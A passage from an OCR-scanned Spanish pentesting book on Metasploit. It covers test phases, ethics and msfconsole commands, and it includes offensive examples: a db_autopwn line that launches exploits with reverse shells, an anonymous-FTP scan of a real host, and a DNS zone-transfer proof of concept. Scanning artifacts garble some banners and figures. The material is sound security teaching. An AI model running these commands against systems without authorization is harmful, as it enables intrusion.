posibles vulnerabilidades de cualquier tipo. Estas vulnerabilidades podrían ser el resultado de una
mala configuración por parte del administrador, una mala implementación de una aplicación o un
fallo de seguridad en un sistema operativo o hardware. Este análisis es llevado a cabo desde la
posición de un atacante, mencionado anteriormente, el cual podría realizar la explotación de las
vulnerabilidades de seguridad encontradas.
Los test de intrusión son valiosos y de necesidad en un entorno empresarial por las siguientes razones:
Identificar vulnerabilidades críticas o high risk las cuales son el resultado de la utilización
de vulnerabilidades de menor riesgo o lower-risk.
Identificar vulnerabilidades que pueden resultar difíciles o prácticamente imposibles de
detectar con escáneres de vulnerabilidades, los cuales automatizan el proceso.
Testear los sistemas de protección de una red para verificar su comportamiento ante los
ataques y como responden a éstos.
•••
WlM Metasploit para Pentesters
Los test de intrusión son un componente de una auditoría de seguridad completa, es decir, por sí
solos no constituyen una auditoría completa. Los test de intrusión forman parte de distintos tipos
de auditoría, como son las de caja blanca o caja negra. La principal diferencia entre ambas es la
cantidad de información que se dispone sobre los sistemas. La auditoría de caja negra no presenta
ningún tipo de conocimiento a priori, por lo que el pentester o auditor deberá primero determinar
la localización e información sobre los sistemas antes de comenzar el análisis. La auditoría de caja
blanca ofrece cierto nivel de información al auditor sobre la infraestructura a testear, como puede ser
un diagrama de red, códigos fuentes e información de direccionamiento IP.
También existen las auditorías de caja gris, las cuales son una prueba intermedia entre la caja negra
y blanca. Los test de intrusión se engloban en las distintas auditorías comentadas anteriormente, la
cantidad de información de la que se dispone a priori es la que determina el ámbito de la auditoría.
Los test de intrusión disponen de distintas fases, las cuales se describen en el siguiente apartado. Por
lo general, se puede enfocar el test de intrusión como una serie de pasos que debe seguir el auditor,
es decir, se pueden englobar en procedimientos. En ciertos entornos y ámbitos el pentest se puede
entender como un arte, ya que la experiencia del auditor a la hora de configurar las herramientas, la
intuición sobre algunos sistemas y la disciplina a la hora de llevar a cabo el test de intrusión pueden
llevar a cumplir los objetivos de la auditoría.
•••
Capítulo l. Conceptos básicos MM
El contrato: alcance y términos del test de intrusión
Es el punto de partida en todo test de intrusión, la fase de la entrevista, de las palabras. Se debe
llegar a un acuerdo sobre hasta dónde se quiere llegar con el test de intrusión, cual es el ámbito de
la prueba. En otras palabras, se discute cual es el alcance y los objetivos buscados por el cliente, y
deben ser bien recogidos por un contrato firmado por ambos.
Esta etapa es una oportunidad de ir haciendo ver al cliente lo que es realmente el test de intrusión y
toda la información privada de la empresa que puede llegar a manejarse. Se puede ver también como
una etapa educativa hacia el cliente.
Puede ocurrir que el cliente quiera delimitar el ámbito de la prueba, por lo que se incorporen ciertas
restricciones al test. Estas restricciones, siempre y cuando vayan por contrato, deben ser tomadas
muy en cuenta por parte del auditor, ya que la información que se manejará será confidencial.
Recolección de información
En esta fase se recolectará toda la información posible sobre la organización a auditar. Esta
información puede ser obtenida por diversos medios, ingeniería social, medios de comunicación,
__-publicaciones en Internet, google hacking,Jootprint, etc. Una de las capacidades más importantes
en un auditor es la posibilidad de aprender como se comporta el objetivo, como funciona, como está
construido y por último como poder atacarlo.
Análisis de vulnerabilidades
Una vez que se ha realizado la recolección de información se estará en disposición de gran cantidad
de la misma y se procederá a su análisis. En esta información recopilada se pueden encontrar
vulnerabilidades existentes en un sistema. Hay que realizar un modelado con toda la información
recopilada en la que se determinará el método de ataque más eficaz. Este modelado tratará de buscar
en una organización como si de un adversario se tratase y de explotar las debilidades como un
atacante lo haría.
Una vez que se han identificado los posibles vectores o métodos de ataque con mayor viabilidad,
habrá que reflexionar sobre como acceder al sistema. Por acceder se entiende que el posible ataque
que lance el auditor disponga de una vía de conexión hacia al sistema a explotar.
El análisis de vulnerabilidades debe ser combinado con la información que el auditor ha ido
aprendiendo en la fase anterior. En otras palabras, el análisis de vulnerabilidades utiliza información
•••
IJ:i Metasploit para Pentesters
Un exploit debe ser lanzado si se dispone de la certeza de que obtendremos un resultado positivo
en la prueba. A menudo, se utilizan herramientas para automatizar esta fase y se lanzan exploits
sin disponer de dicha certeza. Tampoco es una mala política, ya que la automatización del proceso
siempre es entendido como una buena práctica, pero el auditor está perdiendo el control sobre lo que
esta sucediendo en el entorno de la organización.
En definitiva, se debe disponer de la certeza de que el sistema es vulnerable para, disponiendo del
exploit, lanzar el código que devuelva el control sobre el sistema. Lanzar los exploits a ciegas no es
la mejor opción, ya que se genera ruido sobre la organización, no es una acción productiva y además
se pierde el control sobre lo que se está haciendo.
Por el contrario, se puede automatizar el proceso de lanzamiento de exploits sobre las certezas
que se dispongan, es decir, sabiendo que un sistema dispone de varias vulnerabilidades se puede
automatizar el proceso para explotar todas éstas.
Esta fase será explicada en mayor detalle a través del uso de Metasploit Framework más adelante
en este libro.
Por ejemplo, suponga que el auditor dispone de acceso a una máquina, la cual tiene acceso directo a
un controlador de dominio, el cual tras estudiarlo a través de la máquina vulnerada en primer lugar,
se recoge que también es vulnerable. Este controlador de dominio puede ser explotado por el auditor,
a través de la primera máquina. Con esta acción, se demuestra al propietario de la organización el
gran impacto que supone que máquinas con, a priori, menor peso en la empresa sean vulneradas.
Además en esta fase se puede obtener información sensible, muy interesante para el informe final.
Por ejemplo, cuentas de usuarios, las cuales pueden proporcionar al auditor acceso a otras máquinas
de la organización y seguir poniendo a prueba otros sistemas dentro de la empresa. La fase de post
explotación será tratada en este libro dotándola de la importancia que dispone en un test de intrusión.
•••
Capítulo J. Conceptos básicos M&i
Generación de informes
Esta fase refleja la importancia de comunicar todo el proceso que se ha ido realizando en la
organización. Es importante que el auditor vaya documentando todas las acciones y procedimientos
llevados a cabo durante el test de intrusión. Cada fase debe estar documentada en mayor o menor
medida, y es una buena práctica no dejar para el final todo este proceso. Quizá la generación del
informe se la fase más relevante e importante del test de intrusión.
En estos documentos se debe explicar qué trabajo se ha realizado en la organización, cómo se ha hecho
dicho trabajo, es decir, herramientas y técnicas utilizadas, y lo más importante, que vulnerabilidades
han sido descubiertas durante el testeo de la organización. Como mínimo el informe debe ser
dividido en 2, bien diferenciados, como son el ejecutivo y el técnico.
El informe técnico es un documento con gran nivel de detalle en el que se especifican todas
las acciones, con las herramientas, que se han ido utilizando y los resultados que se han ido
obteniendo. Además, debe acompañarse de una lista que indique como subsanar esos riesgos y unas
recomendaciones del auditor.
El informe ejecutivo es un documento más ameno y liviano en el que se deben especificar las
vulnerabilidades encontradas, pero sin ningún nivel técnico. Todo debe estar explicado de tal manera
que cualquier persona sin capacidades técnicas entienda que riesgos existen en la organización.
Además, el propietario de la organización esperará sus recomendaciones como profesional de la
seguridad, por lo que en este informe debe existir dicha lista.
En un primer momento, la consola puede provocar cierto rechazo o temor al usuario, ya que por lo
general la mayoría de usuarios prefieren el uso de una interfaz amigable e intuitiva. La consola de
Metasploit es bastante intuitiva y sencilla de utilizar, integrando comandos con semántica implícita
los cuales ayudarán al usuario a configurar y moverse por el entorno de manera sencilla.
Para lanzar la consola de Metasploit se ejecutará en una terminal el comando msfconsole, el cual
devolverá al usuario un prompt para la introducción de comandos, un banner e información sobre el
número de exploits, payloads, encoders, auxiliary y nops.
Antes de empezar a enumerar comandos y sus objetivos, se debe tener claro como se estructura,
y accede a los elementos disponibles del framework. Se puede imaginar la consola de Metasploit
como un mini sistema de archivos, el cual dispone de una raíz y carpetas que cuelgan de él. Las
carpetas que cuelgan de él, realmente se encuentran fisicamente en la ruta dónde está instalado el
•••
Metasploit para Pentesters
framework. Por ejemplo, si se requiere utilizar un exploit, éstos se encontrarán en alguna ruta, como
puede ser exploitlwindows/smb/psexec.
root@root:--tl· msfconsole
o 8 o
o
8 8 8
ooYoYo . . oPYo. o8P .oPYo . . oPYo . . oPYo. 8 .oPYo. 08 o8P
8' 8 8 800008 8 .00008 Yb.. 8 8 8 8 8 8 8
8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8
8 8 8 'Yooo' 8 'YooP8 'YooP' 8YooP' 8 'YooP' 8 8
.. : .. : .. : ..... : : : .. : : ..... : : ..... :8..... : .. : ..... :: .. :: .. :
:: : : : : : : : : : : :: : : :: : : : : : : : : : : : : : : : :8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Otro ejemplo podría ser si se requiere la utilización de un módulo auxiliary, una ruta posible sería la
siguiente auxiliary/scanners/smb/smb2. De estos 2 ejemplos se deduce que si se requiere utilizar un
encoder su ruta comenzará por encoder/<tecnología> y así ocurre con los demás tipos de módulos
de los que se dispone en elframework.
Para acceder y obtener información a exploits, encoders, payloads, etc, se disponen de ciertos
comandos que se irán explicando a continuación, pero antes, hay que destacar lo que son los
elementos delframework. Se pueden entender como variables que se deben configurar en el interior
de un exploit u otros módulos con los que se trabaje. Es decir, cuando se quiere configurar un
exploit, o un encoder, payload, etcétera, se disponen de unas variables que deben ser configuradas
con información aportada por el auditor. Por ejemplo, si se está configurando un exploit que se va a
lanzar contra un equipo, existen ciertas variables o parámetros que deben ser proporcionados por el
auditor como son la dirección IP o nombre de la máquina sobre la que se lanzará el exploit, puerto
de destino, configuración del payload, en el caso de que se intente provocar la ejecución de código
remoto y tomar el control de la máquina. Estos elementos o variables se muestran en mayúsculas,
algo que llamará la atención del auditor. Algunas variables son opcionales y otras son totalmente
obligatorias de configurar.
•••
Capítulo J. Conceptos básicos _,,
Comandos de ayuda y búsqueda
Existen numerosos comandos de msfconsole los cuales proporcionan ayuda al usuario dando
información sobre acciones que se pueden realizar con elframework o información sobre los módulos
disponibles. Además, resultan de gran utilidad los comandos para realizar búsquedas dentro de la
estructura de Metasploit.
Comando: help
El comando help proporciona un listado sobre todos los comandos de consola disponibles. Se
pueden observar 2 listas diferenciadas, core commands y database backend commands. La primera
proporciona un listado sobre los comandos del núcleo delframework, y la segunda ofrece otro sobre
los comandos que interactúan con las bases de datos.
Existe la posibilidad de usar el parámetro -h con los comandos para obtener una ayuda detallada
sobre la utilización de dicho comando. Por ejemplo, search -h, o incluso utilizando el comando help
delante del comando del que se requiere información o ayuda, help search.
Comando: search
El comando search resulta de gran utilidad para el auditor para la búsqueda de módulos en función
de alguna característica concreta. También se puede utilizar cuando el auditor tiene que comprobar
si elframework se encuentra actualizado, por ejemplo mediante la búsqueda de algún exploit que se
aproveche de alguna vulnerabilidad conocida recientemente.
Exploits
Como se puede observar tras realizar la búsqueda de un módulo con ciertas características se obtienen
las rutas donde se alojan y donde se puede acceder al recurso. En este ejemplo, se puede visualizar
como se obtienen exploits, pero si existiesen herramientas,payloads, encoders que cumpliesen con
el patrón de búsqueda también se obtendrían sus rutas para que el auditor pudiera acceder a ellas de
manera sencilla.
•••
MW Metasploit para Pentesters
comando irifo son todas las opciones del módulo, objetivos y una descripción. Por ejemplo, en el
caso de la mayoría de exploits se describe la vulnerabilidad y las versiones vulnerables.
El comando show permite mostrar las diferentes opciones para los módulos delframework y todos
los exploits, payloads, encoders, nops, herramientas, etc. Cuando se encuentra seleccionado un
módulo, mediante el comando use, show dispone de algunas acciones más como es la muestra de
las variables configurables en el módulo, show options, o los sistemas operativos vulnerables, show
targets, entre otros.
Comando: use
El comando use permite seleccionar el módulo, a lo largo de la estructura de directorios del
framework, que se requiere. Una vez se ha encontrado una vulnerabilidad en un sistema, se puede
realizar la búsqueda de la misma mediante el comando search o si se conoce la ruta dónde se aloja
el módulo, directamente cargarlo. Un ejemplo seria use exploit/multi/handler.
Los comandos set y setg aportan una funcionalidad imprescindible para el test de intrusión y es la
posibilidad de configurar los parámetros de los distintos módulos. Es decir, con estos parámetros
se asignarán valores a las variables que por ejemplo definen un exploit; ¿Cuál es la diferencia? Set
asigna un valor para un módulo concreto, mientras que setg asigna el valor para el contexto del
framework. Un símil en programación clásica sería, set asigna un valor a una variable local, mientras
que setg asigna un valor a una variable global.
•••
Capítulo I Conceptos básicos -
Hay que tener en cuenta que si se dispone de un módulo en modo background, es decir cargado e
incluso en explotación o realizando alguna tarea pero en segundo plano, y éste ya disponía de una
configuración, la asignación global de un valor no repercutirá sobre este elemento.
Los comandos unset y unsetg sirven para desasignar el valor de un parámetro o variable de un
módulo. Unset desasignará a nivel local, mientras que unsetg desasignará a nivel global.
Este comando es muy similar a la aplicación netcat y totalmente compatible con ella. Connect
dispone de parámetros interesantes como es la posibilidad de crear una conexión segura bajo SSL.
Se recomienda utilizar este y todos los comandos siempre con el comando help en mente.
C:\Users\bit>Whoami
whoami
bit-pc\pablo
Fig 1.13: Conexión mediante connect con una máquina Windows.
El comando irb permite al auditor ejecutar un intérprete de Ruby para elframework y de esta manera
se pueden ejecutar comandos y crear scripts que automaticen ciertos procesos, todo ello en caliente.
Esta funcionalidad es interesante para conocer la estructura interna delframework. Se recomienda
conocer el lenguaje Ruby para utilizar correctamente este intérprete.
•••
Fig 1.14: Cargando unplugin en elframework.
MI Metasploit para Pentesters
El comando exploit lanza, una vez configurado el módulo seleccionado, el código malicioso sobre
una máquina o prepara el entorno para que una máquina sea vulnerada al acceder a un sitio en la red.
El comando dispone de varios parámetros interesantes los cuales se especifican en la siguiente tabla:
Parámetro Descripción
-J El exploit es ejecutado en segundo plano.
-z No se interactúa con la sesión tras una explotación exitosa.
-e Se lanza el payload con la codificación mediante un encoder previamente.
Tabla 1.01: Parámetros del comando exploit.
Por lo general, el comando exploit devolverá el control del sistema remoto mediante una shell
o un meterpreter. Por último, las shell que se obtienen se organizan por conexiones y éstas son
visualizadas por el comando sessions. Este comando permite listar el número de conexiones con
máquinas vulneradas que se disponen, que vía ha sido la que ha conseguido vulnerar la máquina,
información sobre los puertos y direcciones IP, el tipo de payload, etc. Es importante entender que
las sesiones tienen un identificador único y que se debe especificar dicho identificador cuando se
quiere interactuar con una sesión remota. Los identificadores son números enteros, la primera sesión
abierta dispondrá del número 1 y van aumentando con nuevas sesiones que se vayan consiguiendo.
En la siguiente tabla se muestran los distintos parámetros que dispone el comando sessions:
Parámetro Descripción
-1 Lista las sesiones disponibles.
-V Muestra información extra, es interesante utilizarlo junto al parámetro -1.
Ejecuta un script de Metasploit sobre todas las sesiones de Meterpreter disponibles.
-s
Su uso sería sessions -s <script>.
-K Finaliza todas las sesiones abiertas.
Ejecuta un comando sobre todas las sesiones de Meterpreter abiertas. Su uso sería
-c
sessions -c "ping 8.8.8.8".
Uno de los más interesantes, permite actualizar la shell remota de tipo Win32 a un
-u
Meterpreter. Se debe especificar el ID de la sesión.
Con este parámetro se le indica al comando sessions en que sesión se quiere
-1
interactuar. Un ejemplo es sessions -i l.
•••
Tabla 1.02: Parámetros del comando sessions .
Capítulo l. Conceptos básicos
Active sessions
•••
MM Metasploit para Pentesters
configuración se almacena en el home del usuario en la carpeta oculta .msj3 y tiene como nombre
config. Cuando se lanza msfconsole, éste comprueba la existencia de dicho fichero y si existe carga
la configuración almacenada en él.
El comandojobs muestra los módulos que se encuentran en ejecución en segundo plano o background.
Este comando, además, permite finalizar otros trabajos que se están ejecutando en segundo plano y
obtener información detallada sobre los módulos en ejecución.
Comando: run
El comando run permite realizar la ejecución de un módulo auxiliary cargado en el contexto de la
consola.
�>use auxiliary/scanner/ftp/anonymous
l!llif auxiliary(anonymous) >set RHOSTS ftp.fi.upm.es
RHOSTS =>ftp.�m.es
l!llif auxiliary(anonymous) > run
[*! 138.100.8.47:21 Anonymous READ (220 ProFTPD 1.2.8 Server (ProFTPD Default Installation) [al!ml·
Ílll.•.-.es])
[•l Scanned 1 of 1 hosts (100% complete)
[*l Auxiliary module execution completed
� auxiliary(anonymous) > 1
Fig 1.17: Ejecución de un módulo auxiliary con run.
Comando: route
Este comando permite enrutar sockets a sesiones, disponiendo de un funcionamiento similar al
comando route en Linux. Además, permite la adición de subredes, puertas de enlace o gateways y
máscaras de red. Este comando puede ser muy útil en la técnica conocida corno pivoting.
msf > db
db add cred db del port db import amap mlog db nmap
db-add-host db-destroy db-import-ip360 xml db-notes
db-add-note db-disconnect db-import-ip list db-services
db-add-port db-driver db-import-msfe xml db-status
db-autopwn db-exploited db-import-nessus nbe db-sync
db-connect db-export db-import-nessus-xml db-vulns
db-create db-hosts db-import-nmap xml db=workspace
db-creds db-import db-import-qualys xml
db-del host db-import amap log db-loot - -
Fig 1.18: Comandos de Metasploit con interacción con la base de datos .
•••
Capítulo l. Conceptos básicos Mi
Comando: db driver
El comando db_driver indica las bases de datos que se encuentran disponibles para que Metasploit
las utilice y la base de datos configurada por defecto. Este comando permite cambiar la base de datos
que el auditor quiere utilizar.
Comando: db connect
El comando db_connect crea y conecta con la base de datos. Previamente, se debe configurar
el usuario en la base de datos. Este comando prepara todas las tablas en la base de datos que se
utilizarán en la recolección de información y análisis para almacenar los datos obtenidos de los
sistemas que se estén auditando.
NOTICE: CREATE TABLE will create implicit sequence "services_id_seq• for serial column 'service
s.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "services_pkey" tor table "servic
es•
Fig 1.20: Crear y conectar con la base de datos en Metasploit.
El comando db_autopwn ayuda al auditor a lanzar una colección de exploits frente a una o varias
máquinas de las cuales se ha obtenido información, como pueden ser puertos abiertos, versiones
de productos detrás de dichos puertos, versiones del sistema operativo, etcétera. Este comando es
conocido como la metralleta de Metasploit y automatiza en gran parte el proceso del lanzamiento de
exploits sobre vulnerabilidades descubiertas. Hay que tener en cuenta que en las últimas versiones
de Metasploit, en su edición Community, este comando ha sido eliminado. Si se quiere seguir
•••
MJ:I Metasploit para Pentesters
Parámetro Descripción
-t Muestra todos los exploits que se están probando.
-X Selecciona los módulos basados en vulnerabilidades referenciadas.
-p Selecciona los módulos basados en puertos abiertos.
-e Lanza exploits contra todos los equipos objetivo.
-r Utiliza una shell inversa tras la explotación.
-b Utiliza una shell atada a un puerto aleatorio.
Se le pasa un rank, para sólo seleccionar módulos con cierto nivel. La ejecución
-R
sería db_autopwn -p -t -e -r -R good.
Tabla 1.03: Parámetros del comando db_autopwn.
Comando: db hosts
Este comando lista las máquinas que se encuentran alojadas en la base de datos. Proporciona
información interesante sobre los distintos equipos que serán auditados y de los que se disponen
datos.
Se pueden observar datos como el sistema operativo de la máquina, dirección MAC, la versión del
service pack y más información de utilidad.
Hosts
Comando: db_destroy
Este comando elimina la base de datos que está utilizando en un momento dado. También se puede
indicar la eliminación de la base de datos de la siguiente manera db_destroy user:password@
host:port/database.
•••
Capítulo J. Conceptos básicos Mi
6. Notas éticas
Históricamente el término hacker ha definido a la persona con altos conocimientos técnicos sobre
seguridad informática, o informática en general, el cual dispone de la capacidad de investigar,
aprender e introducirse en sistemas remotos sin autorización previa a través de Internet. Las técnicas
utilizadas por éstos son diversas, pueden ir desde la investigación de un fallo de seguridad en alguna
aplicación que da acceso a una base de datos, como el engaño o engatusamiento de una persona
con ciertos privilegios sobre un sistema mediante ingeniería social. También hay que recalcar
que históricamente, la filosofía del hacker ha propuesto la libertad del conocimiento a través de
los medios digitales, es decir, utilizar la capacidad para visualizar información no autorizada sin
intención de realizar ninguna acción sobre ella que pueda otorgar un beneficio al hacker.
Ahora, ¿qué es el hacking ético? A lo largo del tiempo, el hacker ha sido tachado negativamente, por
lo que la visión de la sociedad sobre él, no es lo que su filosofía planteaba. Quizá, esto ha ocurrido
por la autoproclamación de algunos a llamarse hackers y realizar acciones sobre sistemas con
objetivos de dudosa moral, ya sean económicos o el simple hecho de realizar una acción negativa
sobre un usuario u organización.
El hacking ético nace como una metodología en la que se intenta educar y aprovechar las capacidades
de las personas apasionadas con la seguridad informática. Estas personas o profesionales del sector
realizarán ataques informáticos a organizaciones sin que éstos sean ataques reales, es decir, se
comprueba el estado de seguridad en el que se encuentra la organización de una manera controlada.
Estos profesionales deben disponer de la ética profesional para no aprovecharse de sus conocimientos
ni de las situaciones que pueden surgir. Por ejemplo, puede darse la siguiente situación: Una empresa
quiere auditar y comprobar hasta dónde puede llegar un usuario, con un nivel de acceso bajo a cierta
información de la empresa que reside en un sistema crítico de ésta. La empresa decide contratar
a alguien que simule ser un empleado con cierto nivel de acceso, y ver hasta dónde puede llegar.
Una vez esta persona ha logrado acceder a la información que la empresa no quería mostrar, éste
informa a la organización de qué procedimiento ha llevado a cabo para lograr el objetivo. La persona
contratada debe disponer de una ética profesional, ya que si la empresa contratase a alguien sin dicha
ética, se encontrarían, seguramente, con bastantes problemas de confidencialidad.
El profesional de la seguridad dispone de una ética, la cual es la marca e imagen de todo su trabajo.
A continuación se exponen buenas prácticas a llevar a cabo en un proceso de auditoría, las cuales
pueden ser tomadas por cualquier profesional para construir su ética:
No atacar objetivos sin el respaldo de un contrato o permiso escrito.
Generar el mejor informe posible, tanto en su formato técnico, con un proceso elaborado
y detallado de las acciones llevadas a cabo, como en su formato ejecutivo, explicando con
gran detalle los problemas de seguridad encontrados.
No realizar acciones maliciosas sobre los sistemas que se estén verificando en la
organización.
•••
Metasploit para Pentesters
Hay que considerar que toda acción tiene consecuencias. Si se realizan acciones fuera del
ámbito del contrato se tendrán consecuencias negativas para el profesional.
Si se realizan acciones de manera ilegal, el profesional puede acabar siendo investigado
o denunciado, incluso pudiendo acabar siendo condenado.
Máxima confidencialidad sobre la información que se puede ir obteniendo en el proceso
de las pruebas.
Respetar la privacidad de los usuarios.
El objetivo de este libro es presentar la herramienta Metasploit en el ámbito de los test de intrusión
de una manera ética y moral para el profesional del sector de la seguridad.
•••
Capítulo 11. Preliminares
Mil
Capítulo 11
Preliminares
l. Ámbito
El presente capítulo engloba las fases de recolección de información y análisis de vulnerabilidades
con la herramienta Metasploit. La fase de recolección de información proporcionará al auditor un
gran volumen de datos sobre la organización a auditar. Se dará una visión global de qué técnicas
y procesos seguir para ir recogiendo información utilizando distintas ramas. La fase de análisis
de vulnerabilidades propone realizar un estudio sobre posibles amenazas que pueden existir en un
sistema, por lo que se utilizarán herramientas conocidas como escáneres de vulnerabilidades para
tratar de obtener vías de ataque a los sistemas.
Estas fases necesitan de gran paciencia por parte del auditor, no son las fases más vistosas del test
de intrusión, pero si son fases necesarias en las que el profesional debe obtener el mayor número de
información precisa acerca de como trabajan sus objetivos sin revelar la presencia del auditor o las
intenciones de éste. La utilización de google hacking, crear mapas de red de la organización para
entender mejor la infraestructura de la empresa, planificar las acciones, investigar y el pensar como
un atacante son buenas prácticas que pueden ayudar al auditor a llevar a cabo con éxito esta fase y
el resto de las fases del test de intrusión.
•••
MtW Metasploit para Pentesters
2. Recogida de información
En la fase de recogida de información se disponen de varias técnicas o vías para recolectar los datos.
El footprinting consiste en la búsqueda de cualquier tipo de información pública, la cual ha sido
publicada a propósito o con desconocimiento de la organización. Con la realización de este proceso se
buscarán todas las huellas posibles, desde direcciones IP pertenecientes a la organización, servidores
internos, cuentas de correos de los usuarios de la empresa, nombres de máquinas, información de
dominio, tipos de servidores, impresoras, cámaras IP, metadatos, etcétera. En conclusión, cualquier
dato que puede resultar útil para lanzar distintos ataques en las fases posteriores del test de intrusión.
Elfingerprinting consiste en analizar las huellas que dejan las máquinas, por ejemplo para obtener
el sistema operativo, la versión de una aplicación, puertos abiertos, existencia defirewalls, etcétera.
Las huellas se detectan a través del análisis de las conexiones de red de estas máquinas, por ejemplo,
en el tipo y forma de las respuestas al establecimiento de las conexiones. Este proceso es llevado a
cabo a través de 2 maneras, de forma activa, es decir, las herramientas envían paquetes esperando
una respuesta, y en función de dicha respuesta se pueden inferir ciertas propiedades de ciertas
tecnologías concretas. Se utiliza una base de datos dónde se va comparando para obtener la realidad.
La otra vía es la pasiva, dónde la herramienta escucha el tráfico para identificar máquinas que actúan
en la red comparando las respuestas pero sin llegar a interactuar en la red.
Técnicas pasivas
La recolección de información pasiva o indirecta consiste en descubrir datos sobre los objetivos sin
tocar los sistemas, es decir, sin interacción directa sobre los mismos. Se puede utilizar esta técnica
para identificar los límites de la red, las principales redes, etcétera.
Existen varias herramientas que permiten la recolección de información pasiva, como pueden ser
whois, nslookup, google hacking,fuzzers, etcétera. Si se imagina un ataque contra el dominio de una
empresa que contrata unos servicios, el objetivo del auditor en esta fase es determinar, como parte
de un test de intrusión, que sistemas de la organización se pueden atacar. En esta fase, se pueden
descubrir sistemas que parecen de la organización pero no lo son, por lo que se deberían descartar
por encontrarse fuera del alcance de la prueba de intrusión.
Whois
Las herramientas del sistema se pueden lanzar desde una terminal de Linux o desde el interior de
msfconsole. En realidad, cuando se ejecuta una herramienta de este tipo desde msfconsole, ésta lanza
un exec del ejecutable que se requiere.
Whois es una herramienta que permite al auditor o cualquier usuario realizar consultas en una base
de datos para determinar el propietario de un nombre de dominio o una dirección IP en la gran red,
Internet. Hoy en día, existen gran cantidad de sitios web que ofrecen esta disponibilidad online
aportando interfaces más amigables a los usuarios.
•••
Capítulo JI. Preliminares MSi
La información que se puede obtener con whois es la referente a los servidores DNS, domain
name system, dónde se encuentra alojado el dominio, y quién es el propietario. Estos servidores
no deberían entrar en un test de intrusión, por lo general, ya que se pueden encontrar fuera de los
límites de la organización, e incluso pueden ser compartidos. Sin embargo, si la organización es
grande y dispone de sus propios DNS, si puede ser factible el introducirlos en un test de intrusión.
Existen ataques sobre estos servidores, los cuales pueden proporcionar gran cantidad de información
e incluso mapas de red internos.
Ooiaain name-s in the . com and . net domains can now be registered
with many different competing registrars. Go to http://www.internic.net
far detailed information.
>>> Last update of whois database: Tue, 29 May 2612 97:37:52 UTC <<<
Nslookup
Esta herramienta permite, entre otras cosas, verificar si el servidor DNS está resolviendo
correctamente los nombres de dominio y las direcciones IP. Existe una versión tanto para sistemas
operativos Windows como para sistemas basados en Unix.
Esta aplicación pregunta al servidor DNS por la información que éste dispone en sus registros. Las
consultas pueden ser globales o específicas hacia un servicio en concreto, por ejemplo, si se requiere
resolver dónde se encuentran los servidores de correo de una organización, o cuales son y dónde se
encuentran los servidores DNS, si dispone de alguno más u obtener la dirección IP del servidor web
dónde se encuentra alojada el sitio web, etcétera.
Tras lanzar la aplicación, ya sea en Windows o Linux, se disponen de distintos comandos para
configurar a nslookup y que éste realice las peticiones como se requiera. Uno de los comandos que
más juego aporta es set, con el que se configurarán las peticiones y la información que se recogerá de
los servidores DNS. Por defecto, tras arrancar la aplicación nslookup envía las peticiones al servidor
DNS configurado en la conexión a Internet. Existe el comando server con el que el usuario puede
especificar a qué servidor DNS quiere enviar las peticiones.
Para consultar información sobre un dominio, simplemente hay que escribir el nombre del dominio,
por ejempio informatica64.com, en la consola que abre nslookup. Para obtener el máximo de
información sobre el dominio se puede utilizar la sentencia set q = any para la versión basada en
•••
Mil Metasploit para Pentesters
Unix y set q =all para la versión basada en Windows. Ahora si se ejecuta la sentencia anterior dónde
se pregunta por información de un dominio, se obtendrá bastante más información, como puede ser
nombres de dominio de los servidores DNS, servidores de correo, servidor del sitio web, dirección
de correo del administrador, etcétera.
Non-authoritative answer:
Name: informatica64.com
Address: 88.81.196.147
informatica64. com nameserver = ns2. informatica64.com.
informatica64. com nameserver = nsl.informatica64.com.
informatica64.com
> origin = nsl.informatica64.com
mail addr = rodol.informatica64.com
serial = 2005101226
refresh = 3600
retry = 3600
expire = 1209600
mínimum = 3600
informatica64.com mail exchanger = 10 correo. informatica64. com.
informatica64.com text = "v=spfl a a: mail.informatica64.net a:correo.informatica64.com ip4
:80.81.106.148 ip4:88.81.196.146 -all"
Transferencia de zona
Los DNS permiten dividir el espacio de nombres en diferentes zonas, las cuales almacenan
información de nombres de uno o más dominios. El origen autorizado sobre un dominio es la zona
en la que se encuentra dicho dominio, es decir, es el encargado de la información acerca de dicho
dominio. Es extremadamente importante que las zonas se encuentren disponibles desde distintos
servidores DNS por temas de disponibilidad.
www blog
Zona: flu-project.corn
•••
Fig 2.03: Esquema de zonas .
Capítulo 11. Preliminares
Las transferencias de zona se crearon para que otros servidores, además del principal, puedan
-�-
alojar zonas replicando toda la información. Las transferencias de zona suceden en las siguientes
situaciones:
Cuando se instala un nuevo servidor DNS y éste se configure en una zona existente.
Cuando finaliza el plazo de actualización de una zona.
Cuando se produce algún cambio en una zona y es necesario actualizar para la replicación
de los cambios.
Cuando manualmente se solicita la transferencia de zona.
En el siguiente ejemplo se utiliza un cmd en Windows para realizar la prueba de concepto o proof
of concept, PoC, de la transferencia de zona. En primer lugar, tras lanzar nslookup en un cmd se
modificará la información que se quiere obtener con el uso del comando set q=ns. A continuación,
se introduce el dominio sobre el que se quiere comprobar si existe la transferencia de zona.
Una vez que se dispone de los servidores DNS de la organización se utiliza el comando server
para cambiar el servidor DNS al que se realizarán las consultas con nslookup. Una vez realizada
esta acción se utilizará el comando ls y el dominio sobre el que se requiere información, si ese
servidor DNS tiene activada la transferencia de zona se obtendrá gran cantidad de información, que
seguramente la empresa no quiera que sea visible o no sabe que es visible. En bastantes ocasiones,
es una mala configuración o un descuido del administrador el que provoca esta situación.
--
A -----.229
A ------230
A ----184-
A ---.184 ....
A ... .-.184 ....
A ____184-
A ...-.•• 246
A -.-.?1.-
Fig 2.05: Consecución de información con transferencia de zona.
DNS Snooping
Este tipo de ataque se enmarca también en la fase de descubrimiento y recolección de información.
DNS caché snooping, nombre real de la vulnerabilidad, es una técnica que permite al auditor conocer
los distintos nombres de dominio que han sido resueltos por el servidor DNS y cuáles no.
•••
MtM Metasploit para Pentesters
El servidor DNS con esta vulnerabilidad está proporcionando información sobre la red al atacante,
o en este caso al auditor. Esta fuga de información puede ayudar a un atacante a estudiar y explotar
de manera eficiente otras vulnerabilidades.
Técnicas activas
Las técnicas activas para recolección de información consisten en interactuar directamente con los
sistemas para aprender más sobre su configuración y comportamiento. Llevarán a cabo un escaneo
de puertos para el estudio de los posibles puertos abiertos que se encuentren y determinar qué
servicios se están ejecutando, además de la versión del producto que se encuentra detrás del puerto.
En los sistemas cada puerto que se encuentra abierto da una vía de explotación al auditor, por lo
que esta información es muy valorada en esta fase. Hay que conocer los tipos de escaneos que
se encuentran disponibles y saber configurar las herramientas para poder obtener el máximo de
información posible. Hay que tener cuidado con los IDS(Intrusion Detection System), y firewalls
